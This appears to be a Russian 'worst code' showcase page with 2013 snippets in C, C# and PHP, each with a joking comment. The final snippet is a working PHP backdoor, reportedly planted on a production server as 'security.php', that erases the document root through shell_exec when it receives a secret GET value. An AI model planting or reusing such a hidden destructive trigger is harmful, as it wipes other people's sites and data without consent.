-
Лучший говнокод
- В номинации:
-
- За время:
-
-
+136
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
#include <stdio.h>
#include <math.h>
const double g = 10; // да, 10
int main() {
double v0; // начальная скорость снаряда в метрах в секунду
double angle; // угол в градусах относительно плоскости земли
scanf("%lf%lf", &v0, &angle);
angle = angle / 180 * M_PI; // переводим градусы в радианы
/*
уравнения движения в нашем случае просты:
x = v0 * t * cos(angle)
y = v0 * t * sin(angle) - g * t * t / 2
в момент удара о землю y будет равен 0 (по условию задачи)
из второго уравнения выразим время:
t = 2*v0*sin(angle)/g
за это время снаряд улетит на v0 * t * cos(angle)
x = 2 * v0 * v0 * cos(angle) * sin(angle) / g
Формулу можно упростить до v0 * v0 * sin(2*angle) / g
*/
double x = v0 * v0 * sin(2 * angle) / g;
printf("x = %.0lf\n", x);
return 0;
}
Референсный код для superhackkiller1997.
Простейшая задачка о полете снаряда. Ветер и сопротивление воздуха не учитываем. Стрельбы производятся на равнине (т.е. высоту в момент выстрела и в момент попадания в землю считаем одинаковой).
Входные данные: начальная скорость снаряда (в метрах в секунду), угол относительно плоскости земли (в градусах).
g принимаем равным 10 м/с².
Выходные данные: расстояние от пушки, на котором снаряд ударится о землю (в метрах, такой точности будет вполне достаточно).
Примеры:
v0 = 200, angle = 45 => x = 4000
v0 = 200, angle = 30 => x = 3464
v0 = 200, angle = 90 => x = 0
Продемонстрируй нам, как бы ты решил эту несложную задачку со своим представлением чисел (не fixed и не float). На входе, как видишь, все числа целые, на выходе тоже.
bormand,
17 Июня 2013
-
+136
- 1
http://pastebin.com/htxgeLCJ
Трололо!
deep,
05 Июня 2013
-
+136
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
public static bool isLaterThan()
{
string hd = DateTime.Now.ToString("tt", new CultureInfo("en-US")).ToLower();
if (hd == "pm")
return false;
return DateTime.Now.Hour < 1;
}
уже есть час ночи?
taburetka,
30 Мая 2013
-
+136
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
// Было
string postCode;
if (person != null)
{
if (HasMedicalRecord(person) && person.Address != null)
{
CheckAddress(person.Address);
if (person.Address.PostCode != null)
postCode = person.Address.PostCode.ToString();
else
postCode = "UNKNOWN";
}
}
// Стало
string postCode = this.With(x => person)
.If(x => HasMedicalRecord(x))]
.With(x => x.Address)
.Do(x => CheckAddress(x))
.With(x => x.PostCode)
.Return(x => x.ToString(), "UNKNOWN");
"как можно использовать более “монадический” синтаксис в C# для того, чтобы __повысить удобочитаемость__ исходного кода"
http://www.gotdotnet.ru/blogs/nesteruk/6975/
Sh1tM4ker,
07 Мая 2013
-
+136
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
if (best == null)
{
return null;
}
else
{
return best;
}
Psilon,
19 Апреля 2013
-
+136
- 1
- 2
- 3
- 4
- 5
void ps(const char *a)
{/*means putstring*/
for(; '\0' != *a; a++)
putchar(' ' != *a ? *a : (putchar('\n'),'\t'));
}
Как-то ночью, в час унылый, в голове собрав все силы,
Разум темный, как могила, начал свой хромой закон.
Начиная выражаться, а точнее проявляться,
В мир безбрежный и зеленый, зло построило свой ход:
Пальцы тонкие и злые, подчиняясь темной силе,
Выхватив перо в чернилах, вывели сей говногод.
ntfshard,
18 Апреля 2013
-
+136
- 1
- 2
- 3
- 4
- 5
uint16_t min_id, next_id, id;
if (id - min_id < next_id - min_id) {
// ...
}
Сегодня обнаружил в своем, не покрытом тестами, говнокоде этот эпик-фейл.
Окрестосишкоблядился, что называется, по полной программе.
Условие должно было проверять, лежит ли id в диапазоне [min_id; next_id) с учетом перехода через 0.
Например min_id = 0xFFFE, next_id = 0x0003, id = 0x0002 должно вернуть true, а min_id = 43, next_id = 44, id = 42 - false.
bormand,
07 Апреля 2013
-
+136
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
private void StatusMsg(string message, int delay = 1000)
{
lock (_msgQueue)
{
if (_msgQueue.ContainsKey(message))
{
int i = 1;
message = String.Format("{0} {1}", message, i);
while (_msgQueue.ContainsKey(message))
{
message = String.Format("{0} {1}", message.Substring(0, message.LastIndexOf(' ')), i++);
}
}
_msgQueue.Add(message, delay);
}
}
Чёто я не понимаю
taburetka,
21 Марта 2013
-
+136
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
public double Supremum()
{
HazardEstimation intensityEstimation = new IntensityEstimation(Sample, new EpanechnikovKernel(), SmoothingParameterMethod.Asymptotic);
var s = new List<double>(Sample.Size);
for (int i = 0; i < Sample.Size; i++)
s.Add(Math.Abs(intensityEstimation.NonParametricEstimation(Sample[i].Value) - rv.h(Sample[i].Value)));
return s.Max();
}
Дипломники не ищут легких путей
zontar,
13 Марта 2013
-
+136
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Фрилансер защищает себя от неплатежеспособного заказчика xD
Файл лежал на продакшин сервере около года, название файла - security.php
uint,
11 Февраля 2013